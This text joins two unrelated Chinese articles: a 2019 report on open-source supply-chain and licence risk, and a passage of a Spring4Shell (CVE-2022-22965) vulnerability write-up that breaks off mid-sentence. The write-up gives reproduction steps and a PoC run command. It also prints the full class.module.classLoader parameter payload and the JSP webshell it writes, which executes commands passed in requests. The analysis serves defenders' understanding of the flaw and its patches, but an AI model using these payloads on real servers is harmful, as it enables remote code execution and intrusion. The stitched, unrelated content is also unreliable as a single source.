> 开源软件安全风险与知识产权风险已成为不可忽视的重要风险。开源软件作为关键信息基础设施供应链中的重要组成部分，其风险需要重点关注。为此，国家互联网应急中心与苏州棱镜七彩信息科技有限公司共同研究，发布2019年开源软件风险研究报告，本报告由CNCERT软件安全和苏州棱镜七彩信息科技有限公司联合发布。
开源软件已经渗透到信息技术领域的方方面面，无论是CPU、DSP等芯片，抑或驱动、固件等底层软件，抑或操作系统、浏览器、数据库等系统软件，抑或消息中间件、应用服务器等中间件软件，抑或各种各样的应用软件，都有开源软件的应用。我国信息技术领域各个行业也大量使用了开源软件。对于政府、军工、能源、金融等关键行业，也从以前的“谈开源软件色变”，到现在已经广泛接受和应用开源软件。开源软件已经成为当前软件供应链中十分重要的组成部分。
开源软件为IT行业带来了极大便利，提高了开发效率，降低了成本。然而，由于开源软件的依赖和引用关系较为复杂，其安全性也往往缺少审查和管理，因此，开源软件也增加了软件供应链的复杂性和安全风险。2019年，Github的报告指出，超过360万个开源项目依赖了Top50的开源项目之一。rails/rails、facebook/jest、axios/axios等知名项目被其他上百万个开源项目使用。同时，开源项目平均有180个第三方依赖组件，具体的依赖组件数量从几个到上千个不等。另一方面，
NVD、CNVD等漏洞库中的开源软件漏洞数量不断增加，还有大量开源软件漏洞未被收录到这些漏洞库中，例如，被广泛使用的fastjson组件，在2019年持续出现的严重漏洞中，多个漏洞尚未收录到国家漏洞库中。恶意软件包也不断出现在开源社区中，如pip包管理平台的roels、req-tools和dark-magic等恶意软件包、NPM包管理器的m-backdoor、rceat、path-to-regxep等恶意软件包等。
除了信息安全风险，开源软件还可能引入知识产权风险。由于开源软件的依赖关系的复杂性，在使用开源软件时，不同开源软件的许可证可能存在合规性和兼容性风险，从而导致知识产权风险。2019年11月6日，数字天堂（北京）网络技术有限公司诉柚子（北京）科技有限公司、柚子（北京）移动技术有限公司侵犯计算机软件著作权纠纷一案终审判决，判令柚子公司停止侵权并赔偿71万元。该案被称为中国第一个涉及GPL协议的诉讼案件。虽然该案在开源社区中有不同的讨论和解读，但进一步说明了开源软件的知识产权风险，是不可忽视的重要风险之一。
由此可见，开源软件复杂的供应链关系、不断增加的安全漏洞与恶意软件包，以及开源许可证的风险，已成为不可忽视、亟需重视和管控的领域。2020年4月27日，国家互联网信息办公室、国家发改委等12个部门联合发布了《网络安全审查办法》，《网络安全审查办法》中第一条明确指出：“为了确保关键信息基础设施供应链安全，维护国家安全，依据《中华人民共和国国家安全法》《中华人民共和国网络安全法》，制定本办法”。开源软件作为关键信息基础设施供应链中十分重要的组成部分，其安全性也需要重点关注。因此，为了更详细地进行分析，我们从Github、码云社区中选取了一批开源项目进行分析，就其依赖组件、安全漏洞、开源许可证等方面进行分析。
## 二、开源软件的安全风险分析
本报告一共选取了48363个项目进行分析，其中GitHub中选取星数为500星及以上的开源项目38530个，Gitee中选取星数为5星及以上的开源项目9833个。进一步，使用开源安全检测工具对48363个开源项目进行依赖检测，检测是否含有来自于Maven、Nuget、Packagist、PyPI、NPM、RubyGems六个包管理平台的依赖组件。在检测结果中，共有31553个开源项目包含上述六个平台的依赖组件，占总数的比例为65.24%。在含有依赖组件的开源项目中，来自于Github社区的项目数为25959个，占比82.27%；来自于Gitee社区的项目数为5594个，占比17.73%。本报告通过对31553个含依赖组件的开源项目（下称“样本项目”）进一步进行分析。
样本项目中一共包含701724个来自Maven、Nuget、Packagist、PyPI、NPM、RubyGems六个平台的依赖组件，其中Github的样本项目包含535326个依赖组件，占比76.29%，Gittee的样本项目包含166398个依赖组件，占比23.71%。通过对样本项目的依赖组件安全性进行分析，共获得依赖组件漏洞警告信息83834条。其中，总样本项目的20.79%存在依赖组件漏洞，按开源社区划分，18.03%的Github样本项目包含依赖组件漏洞，33.63%的Gitee样本项目包含依赖组件漏洞。基于以上数据，本报告从样本项目的依赖组件安全风险、漏洞等级分布、开源许可证等维度进行进一步分析。
### （一）组件安全风险分析
#### （1）组件安全风险宏观分析
##### 1.1. 样本项目的组件漏洞数量①持续增长
组件漏洞数量及其增长态势是宏观上衡量开源安全风险的重要指标，根据以上数据分析可知，开源项目依赖组件漏洞数量逐年增长，近4年中2019年增长最快，
**2019年组件漏洞数量相较2018年环比增长72.99%。**
2019年，Github样本项目的依赖组件漏洞数量环比增长71.05%，Gitee样本项目的依赖组件漏洞数量环比增长74.18%。以上表明，组件漏洞数量一直处于较高增长态势，成为开源项目不可忽视的重要漏洞来源之一。
（①注：本报告组件漏洞数量是指开源项目中依赖组件中的漏洞数量。年度组件漏洞数量指截止当年末为止的历史累计组件漏洞总量。漏洞知识库以CVE漏洞为主，也含有部分开源社区漏洞来源，如Github、NPM等。）
##### 1.2. 多数组件漏洞集中于少数包管理器平台
在本次分析的6个主流包管理器Maven、Nuget、Packagist、PyPI、NPM、RubyGems中， **Maven组件漏洞数量最多，**
占比73.54%，Maven组件漏洞数在近4年中每年均远多于其它包管理器，并在近两年中大幅增长，2019年环比增长达到76.53%。
**NPM位居第二，**
占比16.11%，但仍与Maven差值巨大。其它包管理器则一直维持在增长较为缓慢、漏洞数较少的水平。总体而言，大多数组件漏洞集中在少数包管理器平台。
##### 1.3. 直接依赖漏洞数量比间接依赖漏洞数量少约10%
**软件工程中所包含的开源组件按依赖层级分为直接依赖组件与间接依赖组件，软件工程所依赖的第一层级的开源组件被称为直接依赖组件，第一层级以及更深层级开源组件所依赖的开源组件被称为间接依赖组件，直接依赖组件漏洞和间接依赖组件漏洞都是不可忽视的安全风险。**
依据依赖组件漏洞数量的总体结果分析，直接依赖漏洞的数量为37865个，占比为45.17%，间接依赖的漏洞数量为45969个，占比为54.83%。直接依赖组件的漏洞数量比间接依赖组件的漏洞数量少约10%。同时，由于间接依赖关系需要对组件的依赖关系进行多层次分析，间接依赖组件漏洞相比直接依赖组件漏洞更具隐蔽性。
#### （2）样本项目组件漏洞危害性分析
##### 2.1. 超半数组件漏洞具有较高危害性
根据安全漏洞的危害程度不同，由美国国家基础设施咨询委员会NIAC（The National Infrastructure Advisory
Council）发布的通用漏洞评估方法CVSS（Common Vulerability Scoring
System）将安全漏洞分为超危、高危、中危、低危4个等级的漏洞。根据本报告统计结果， **组件漏洞多集中于中危及以上等级，占比94.38%；**
其中，中危等级的组件漏洞数量最多，占比35.26%，超危与高危组件漏洞数量分别为31.44%和27.67%，低危漏洞较少，占比5.62%。
**超危与高危组件漏洞数量之和占比达64.49%。**
总体而言，中危及以上漏洞即已具有一定危害性，而其占比达94.38%，高危及以上漏洞则具有较高危害性，而其占比达64.49%，显而易见，依赖组件的安全漏洞是不可忽视的重要安全风险之一。
##### 2.2. 高危及以上组件漏洞数量不断增长，安全风险持续升高
超危、高危组件漏洞数量近年来一直保持着较高的增长率，2017年相较2016年环比增长172.91%，2018年环比增长108.37%，2019年环比增长103.96%，
**超危、高危组件漏洞数量历年均保持着大于100%的较高的增长率。**
Github样本项目和Gitee样本项目的超危与高危漏洞数量也基本符合这一规律。而在实际开发中，组件漏洞被发现后，大量开源组件的漏洞修复周期也较长，不能做到对组件漏洞的及时响应。据英国安全厂商Snyk调研，37%的开源开发者在持续集成(CI)期间没有实施任何类型的安全测试，25%的开发者在发现漏洞后未通知用户有漏洞，从漏洞添加至组件到修复漏洞的时间中位数也超过2年，而超危、高危漏洞的危害性较高且占比较高，若大量开发者未能做到对漏洞的及时响应，将对组件使用者带来较高的安全风险。
##### 2.3. 约80%的高危及以上的组件漏洞来自Maven组件
各包管理器每年的超危、高危组件漏洞数量均在不断变化，上表反映了各包管理器每年的超危、高危组件漏洞占超危、高危漏洞总数量的比例的变化情况。尽管Maven平台高危及以上的组件漏洞在2016-2018年期间占比略微下降，但仍旧在每年中均保持最高占比，平均每年占比超80%，并超出位于第二名的NPM至少65%。而除了Maven和NPM外的其它包管理器则一直处于占比较低的状态。总体而言，
**历年大部分的高危及以上的组件漏洞来自于Maven组件，也侧面说明了Maven组件使用范围较广，Maven组件漏洞的影响范围也相应较广。**
##### 2.4. 被引用次数最多的含高危及以上漏洞的组件Top10
**开源组件被引用的次数越多，软件开发者直接或间接依赖到该组件的可能性越大，如果该组件包含高危及以上漏洞，安全风险越高，安全风险影响范围也越广。**
了解各包管理器中被引用最多的高危组件信息，对于开源安全风险防范至关重要。本报告从样本项目依赖组件中按包管理器分别选取了被样本项目引用次数最多的且包含高危及以上漏洞的组件Top10，其中，图中横坐标表示该组件被样本项目引用的次数：
##### 1、Maven
##### 2、Nuget
##### 3、Packagist
##### 4、PyPI
##### 5、NPM
##### 6、RubyGems
### （二）开源许可证分析
本报告对样本开源项目与依赖组件（来自于Maven、Nuget、Packagist、PyPI、NPM、RubyGems这6个包管理平台的依赖组件）的许可证使用情况进行了统计，无论是开源项目还是依赖组件，
**MIT和Apache-2.0许可证占比最多。**
依赖组件许可证中，MIT占比55.58%，Apache-2.0占比14.94%；开源项目许可证中，MIT占比32.93%，Apache-2.0占比14.84%；AGPL-3.0、LGPL-2.1、LGPL-3.0、GPL-2.0、GPL-3.0占比最少，5个许可证占比之和不足10%。依赖组件中，未在社区网页申明许可证的占比仅为2.88%，而在开源项目中，未在社区网页直接申明许可证的占比为39.44%。当然，开源项目许可证存在一种情况，即未在社区网页直接申明，而将许可证声明放到源代码项目中。因此，实际未申明许可证的开源项目比例会略低于39.44%，但侧面反映了开源项目中，未申明许可证的开源项目数量较多。对于未申明许可证的开源项目或开源依赖组件的使用，可能存在侵权风险。
**许可证兼容是指不同许可证的开源项目，能在同时不违反所有开源项目许可证的前提下进行合并或者融合，反之则成为许可证不兼容。**
许可证兼容性风险是使用开源软件时面临的常见风险。开源许可证可以简单划分为宽松型许可证和著佐权型许可证。例如MIT、Apache-2.0、BSD-2-Clause、BSD-3-Clause属于宽松型许可证，AGPL-3.0、LGPL-2.1、LGPL-3.0、GPL-2.0、GPL-3.0属于著佐权型许可证。开源软件或依赖组件在混合使用时，由于不同的开源软件或依赖组件具有不同的开源许可证，因此可能存在许可证兼容性风险。
本次分析中， **2372个样本项目存在许可证兼容性问题，**
占比7.52%。这些项目中，有的使用了许可证不兼容的依赖组件，有的是依赖组件许可证与项目自身的许可证不兼容。例如Mycat-Server项目，其项目许可证为GPL-2.0，项目中使用的依赖组件的许可证有Apache-2.0、GPL-2.0等。但由于Apache-2.0存在某些专利条款和赔偿条款，而GPL-2.0未做相关要求，导致Apache-2.0与GPL-2.0不兼容。因此，当整个项目在GPL-2.0许可证下，整个项目就存在兼容性问题。
## 三、开源安全风险防范建议
《网络安全审查办法》要求加强关键信息基础设施供应链安全，开源软件作为关键信息基础设施软件供应链中的重要组成部分，其安全性亟需予以重视。因此，开发者应该采取适当的措施进行规避，可有效降低其安全风险。为此，建议开发者采取以下主要措施：
1.在引入开源软件时做好安全审查，避免在开发时就引入含漏洞的开源软件，导致安全风险传递到后续流程；
2.在引入开源软件时做好法律审查，避免引入不符合使用需求的开源许可证项目；
3.获取专业的开源软件安全信息的服务支持，以加强开源漏洞信息的获取能力；
4.做好开源软件清单的管理，以便在获取开源软件威胁情报时，及时发现受影响的产品和项目，快速进行处置；
5.建立开源软件管理制度，加强人员对于开源软件风险意识的培训；
6.配备开源软件安全分析和管理的自动化工具，提高开源软件的应急响应能力。 | 社区文章 |
**作者：麦兜
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
# 前言
上周网上爆出Spring框架存在RCE漏洞，野外流传了一小段时间后，Spring官方在3月31日正式发布了漏洞信息，漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析，希望能够帮助到有相关有需要的人员进一步研究。
# 一、前置知识
## 1.1 SpringMVC参数绑定
为了方便编程，SpringMVC支持将HTTP请求中的的请求参数或者请求体内容，根据`Controller`方法的参数，自动完成类型转换和赋值。之后，`Controller`方法就可以直接使用这些参数，避免了需要编写大量的代码从`HttpServletRequest`中获取请求数据以及类型转换。下面是一个简单的示例：
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
当请求为`/addUser?name=test&department.name=SEC`时，`public String addUser(User
user)`中的`user`参数内容如下：
可以看到，`name`自动绑定到了`user`参数的`name`属性上，`department.name`自动绑定到了`user`参数的`department`属性的`name`属性上。
注意`department.name`这项的绑定，表明SpringMVC支持多层嵌套的参数绑定。实际上`department.name`的绑定是Spring通过如下的调用链实现的：
User.getDepartment()
Department.setName()
假设请求参数名为`foo.bar.baz.qux`，对应`Controller`方法入参为`Param`，则有以下的调用链：
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set
SpringMVC实现参数绑定的主要类和方法是`WebDataBinder.doBind(MutablePropertyValues)`。
## 1.2 Java Bean `PropertyDescriptor`
`PropertyDescriptor`是JDK自带的`java.beans`包下的类，意为属性描述器，用于获取符合Java
Bean规范的对象属性和get/set方法。下面是一个简单的例子：
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到，`PropertyDescriptor`实际上就是Java Bean的属性和对应get/set方法的集合。
## 1.3 Spring `BeanWrapperImpl`
在Spring中，`BeanWrapper`接口是对Bean的包装，定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
`BeanWrapperImpl`类是`BeanWrapper`接口的默认实现，`BeanWrapperImpl.wrappedObject`属性即为被包装的Bean对象，`BeanWrapperImpl`对Bean的属性访问和设置最终调用的是`PropertyDescriptor`。
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);
System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");
System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到，通过`BeanWrapperImpl`可以很方便地访问和设置Bean的属性，比直接使用`PropertyDescriptor`要简单很多。
## 1.4 Tomcat `AccessLogValve` 和 `access_log`
Tomcat的`Valve`用于处理请求和响应，通过组合了多个`Valve`的`Pipeline`，来实现按次序对请求和响应进行一系列的处理。其中`AccessLogValve`用来记录访问日志access_log。Tomcat的`server.xml`中默认配置了`AccessLogValve`，所有部署在Tomcat中的Web应用均会执行该`Valve`，内容如下：
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
下面列出配置中出现的几个重要属性： \- directory：access_log文件输出目录。 \- prefix：access_log文件名前缀。 \-pattern：access_log文件内容格式。 \- suffix：access_log文件名后缀。 \-fileDateFormat：access_log文件名日期后缀，默认为`.yyyy-MM-dd`。
# 二、漏洞复现
## 2.1 复现环境
* 操作系统：Ubuntu 18
* JDK：11.0.14
* Tomcat：9.0.60
* SpringBoot：2.6.3
## 2.2 复现过程
1. 创建一个maven项目，pom.xml内容如下：
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
1. 项目中添加如下代码，作为SpringBoot的启动类：
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}
public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}
1. 将章节`1.1 SpringMVC参数绑定`中的`User`类和`UserController`类添加到项目中。
2. 执行maven打包命令，将项目打包为war包，命令如下：
mvn clean package
1. 将项目中target目录里打包生成的`CVE-2022-22965-0.0.1-SNAPSHOT.war`，复制到Tomcat的`webapps`目录下，并启动Tomcat。
2. 从 <https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py> 下载POC文件，执行如下命令：
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
1. 浏览器中访问`http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator`，复现漏洞。
# 三、漏洞分析
## 3.1 POC分析
我们从POC入手进行分析。通过对POC中的`data` URL解码后可以拆分成如下5对参数。
### 3.1.1 `pattern`参数
* 参数名：`class.module.classLoader.resources.context.parent.pipeline.first.pattern`
* 参数值：`%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i`
很明显，这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链：
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()
那实际运行过程中的调用链是怎样的呢？`SomeClass`是哪个类呢？带着这些问题，我们在前置知识中提到的实现SpringMVC参数绑定的主要方法`WebDataBinder.doBind(MutablePropertyValues)`上设置断点。
经过一系列的调用逻辑后，我们来到`AbstractNestablePropertyAccessor`第814行，`getPropertyAccessorForPropertyPath(String)`方法。该方法通过递归调用自身，实现对`class.module.classLoader.resources.context.parent.pipeline.first.pattern`的递归解析，设置整个调用链。
我们重点关注第820行，`AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);`，该行主要实现每层嵌套参数的获取。我们在该行设置断点，查看每次递归解析过程中各个变量的值，以及如何获取每层嵌套参数。
#### 第一轮迭代
进入`getPropertyAccessorForPropertyPath(String)`方法前： \-`this`：`User`的`BeanWrapperImpl`包装实例 \-`propertyPath`：`class.module.classLoader.resources.context.parent.pipeline.first.pattern`
\-`nestedPath`：`module.classLoader.resources.context.parent.pipeline.first.pattern`
\- `nestedProperty`：`class`，即本轮迭代需要解析的嵌套参数
进入方法，经过一系列的调用逻辑后，最终来到`BeanWrapperImpl`第308行，`BeanPropertyHandler.getValue()`方法中。可以看到`class`嵌套参数最终通过反射调用`User`的父类`java.lang.Object.getClass()`，获得返回`java.lang.Class`实例。
`getPropertyAccessorForPropertyPath(String)`方法返回后： \-`this`：`User`的`BeanWrapperImpl`包装实例 \-`propertyPath`：`class.module.classLoader.resources.context.parent.pipeline.first.pattern`
\-`nestedPath`：`module.classLoader.resources.context.parent.pipeline.first.pattern`，作为下一轮迭代的`propertyPath`
\- `nestedProperty`：`class`，即本轮迭代需要解析的嵌套参数 \-`nestedPa`：`java.lang.Class`的`BeanWrapperImpl`包装实例，作为下一轮迭代的`this`
经过第一轮迭代，我们可以得出第一层调用链：
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现
#### 第二轮迭代
`module`嵌套参数最终通过反射调用`java.lang.Class.getModule()`，获得返回`java.lang.Module`实例。
经过第二轮迭代，我们可以得出第二层调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现
#### 第三轮迭代
`classLoader`嵌套参数最终通过反射调用`java.lang.Module.getClassLoader()`，获得返回`org.apache.catalina.loader.ParallelWebappClassLoader`实例。
经过第三轮迭代，我们可以得出第三层调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现
接着按照上述调试方法，依次调试剩余的递归轮次并观察相应的变量，最终可以得到如下完整的调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到，`pattern`参数最终对应`AccessLogValve.setPattern()`，即将`AccessLogValve`的`pattern`属性设置为`%{c2}i
if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i`，也就是access_log的文件内容格式。
我们再来看`pattern`参数值，除了常规的Java代码外，还夹杂了三个特殊片段。通过翻阅`AccessLogValve`的父类`AbstractAccessLogValve`的源码，可以找到相关的文档：
即通过`AccessLogValve`输出的日志中可以通过形如`%{param}i`等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。
结合poc.py中`headers`变量内容：
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
最终可以得到`AccessLogValve`输出的日志实际内容如下（已格式化）：
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
很明显，这是一个JSP webshell。这个webshell输出到了哪儿？名称是什么？能被直接访问和正常解析执行吗？我们接下来看其余的参数。
### 3.1.2 `suffix`参数
* 参数名：`class.module.classLoader.resources.context.parent.pipeline.first.suffix`
* 参数值：`.jsp`
按照`pattern`参数相同的调试方法，`suffix`参数最终将`AccessLogValve.suffix`设置为`.jsp`，即access_log的文件名后缀。
### 3.1.3 `directory`参数
* 参数名：`class.module.classLoader.resources.context.parent.pipeline.first.directory`
* 参数值：`webapps/ROOT`
按照`pattern`参数相同的调试方法，`directory`参数最终将`AccessLogValve.directory`设置为`webapps/ROOT`，即access_log的文件输出目录。
这里提下`webapps/ROOT`目录，该目录为Tomcat
Web应用根目录。部署到目录下的Web应用，可以直接通过`http://localhost:8080/`根目录访问。
### 3.1.4 `prefix`参数
* 参数名：`class.module.classLoader.resources.context.parent.pipeline.first.prefix`
* 参数值：`tomcatwar`
按照`pattern`参数相同的调试方法，`prefix`参数最终将`AccessLogValve.prefix`设置为`tomcatwar`，即access_log的文件名前缀。
### 3.1.5 `fileDateFormat`参数
* 参数名：`class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat`
* 参数值：空
按照`pattern`参数相同的调试方法，`fileDateFormat`参数最终将`AccessLogValve.fileDateFormat`设置为空，即access_log的文件名不包含日期。
### 3.1.5 总结
至此，经过上述的分析，结论非常清晰了：通过请求传入的参数，利用SpringMVC参数绑定机制，控制了Tomcat
`AccessLogValve`的属性，让Tomcat在`webapps/ROOT`目录输出定制的“访问日志”`tomcatwar.jsp`，该“访问日志”实际上为一个JSP
webshell。
在SpringMVC参数绑定的实际调用链中，有几个关键点直接影响到了漏洞能否成功利用。
## 3.2 漏洞利用关键点
### 3.2.1 关键点一：Web应用部署方式
从`java.lang.Module`到`org.apache.catalina.loader.ParallelWebappClassLoader`，是将调用链转移到Tomcat，并最终利用`AccessLogValve`输出webshell的关键。
`ParallelWebappClassLoader`在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用，在这种方式下，我们看下`classLoader`嵌套参数被解析为什么，如下图：
可以看到，使用SpringBoot可执行jar包的方式运行，`classLoader`嵌套参数被解析为`org.springframework.boot.loader.LaunchedURLClassLoader`，查看其源码，没有`getResources()`方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一，Web应用部署方式需要是Tomcat war包部署。
### 3.2.2 关键点二：JDK版本
在前面章节中`AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);`调用的过程中，实际上Spring做了一道防御。
Spring使用`org.springframework.beans.CachedIntrospectionResults`缓存并返回Java
Bean中可以被`BeanWrapperImpl`使用的`PropertyDescriptor`。在`CachedIntrospectionResults`第289行构造方法中：
该行的意思是：当Bean的类型为`java.lang.Class`时，不返回`classLoader`和`protectionDomain`的`PropertyDescriptor`。Spring在构建嵌套参数的调用链时，会根据`CachedIntrospectionResults`缓存的`PropertyDescriptor`进行构建：
不返回，也就意味着`class.classLoader...`这种嵌套参数走不通，即形如下方的调用链：
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......
这在JDK<=1.8都是有效的。但是在JDK
1.9之后，Java为了支持模块化，在`java.lang.Class`中增加了`module`属性和对应的`getModule()`方法，自然就能通过如下调用链绕过判断：
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
......
这就是为什么本漏洞利用条件之二，JDK>=1.9。
# 四、补丁分析
## 4.1 Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本，可以看到在3月31日有一项名为“Redefine PropertyDescriptor
filter的”提交。
进入该提交，可以看到对`CachedIntrospectionResults`构造函数中Java
Bean的`PropertyDescriptor`的过滤条件被修改了：当Java
Bean的类型为`java.lang.Class`时，仅允许获取`name`以及`Name`后缀的属性描述符。在章节`3.2.2
关键点二：JDK版本`中，利用`java.lang.Class.getModule()`的链路就走不通了。
## 4.2 Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本，可以看到在4月1日有一项名为“Security hardening. Deprecate
getResources() and always return null.”提交。
进入该提交，可以看到对`getResource()`方法的返回值做了修改，直接返回`null`。`WebappClassLoaderBase`即`ParallelWebappClassLoader`的父类，在章节`3.2.1
关键点一：Web应用部署方式`中，利用`org.apache.catalina.loader.ParallelWebappClassLoader.getResources()`的链路就走不通了。
# 五、思考
通过将代码输出到日志文件，并控制日志文件被解释执行，这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件，并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现，也可以通过SQL注入、文件上传漏洞等曲线实现。
与上文不同的是，本次漏洞并不需要文件包含。究其原因，Java Web服务中间件自身也是用Java编写和运行的，而部署运行在上面的Java
Web应用，实际上是Java Web服务中间件进程的一部分，两者间通过Servlet
API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力，给予了攻击者可以通过Java Web应用漏洞进而攻击Java
Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞，进而修改了Web服务中间件Tomcat的access_log配置内容，直接输出可执行的“日志”文件到Web
应用目录下。
在日常开发中，应该严格控制Web应用可解释执行目录为只读不可写，日志、上传文件等运行期可以修改的目录应该单独设置，并且不可执行。
本次漏洞虽然目前调用链中仅利用到了Tomcat，但只要存在一个从Web应用到Web服务中间件的`class.module.classLoader....`合适调用链，理论上Jetty、Weblogic、Glassfish等也可利用。另外，目前通过写入日志文件的方式，也可能通过其它文件，比如配置文件，甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是，仅对JDK>=1.9有效。相信不少公司均为“版本任你发，我用Java
